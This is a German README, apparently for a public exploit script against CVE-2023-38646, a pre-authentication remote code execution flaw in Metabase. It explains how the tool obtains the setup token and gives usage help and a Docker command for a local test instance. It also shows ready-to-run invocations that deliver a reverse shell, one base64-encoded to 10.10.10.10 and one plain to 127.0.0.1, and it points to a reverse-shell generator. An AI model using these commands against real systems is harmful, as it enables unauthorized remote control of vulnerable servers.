
Python-Skript zur Ausnutzung von CVE-2023-38646 Metabase Pre-Auth RCE per SQL-Injection
Python-Skript zur Ausnutzung von CVE-2023-38646 Metabase Pre-Auth RCE über SQL-Injection
Das Skript ruft GET /api/session/properties ab, um das Setup-Token zu erhalten und die Ausnutzbarkeit des Ziels zu bewerten. Wenn es verwundbar ist, wird dann das Setup-Token ausgegeben, andernfalls beendet es sich nach einer Fehlermeldung.
Wenn die Option -x verwendet wird und das Ziel verwundbar ist, wird der angegebene Payload verwendet, um zu versuchen, die Schwachstelle auszunutzen.
Weitere Informationen in diesem großartigen Write-up von dem Team, das die Schwachstelle entdeckt hat: https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/
Usage: CVE-2023-38646.py [-h] [-x BASE64 PAYLOAD] url
Metabase Pre-Auth RCE Exploit
positional arguments:
url Url of the metabase instance
optional arguments:
-h, --help Show this help message and exit
-x BASE64_PAYLOAD Exploits the vulnerability
Falls benötigt, kannst du schnell eine Testumgebung in einem Docker-Container einrichten, indem du diesen Befehl verwendest :
docker run -d -p 3000:3000 --name metabase metabase/metabase:v0.46.6
Nachdem du http://127.0.0.1:3000/ besucht hast, um das Setup abzuschließen, und einen Listener gestartet hast,
kannst du die RCE mit etwas wie diesem ausnutzen :
python3 ./CVE-2023-38646.py -x c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTAuMTAvNDQ0MyAwPiYx http://127.0.0.1:3000/
# If you prefer this and use bash (or anything but fish really)
# you should be able to command substitution to encode your payload directly inline like so
python3 ./CVE-2023-38646.py -x $(echo "sh -i >& /dev/tcp/127.0.0.1/4443 0>&1" | base64) http://127.0.0.1:3000/
oder hole dir einfach deine eigene Base64-kodierte Reverse Shell, indem du revshells.com besuchst.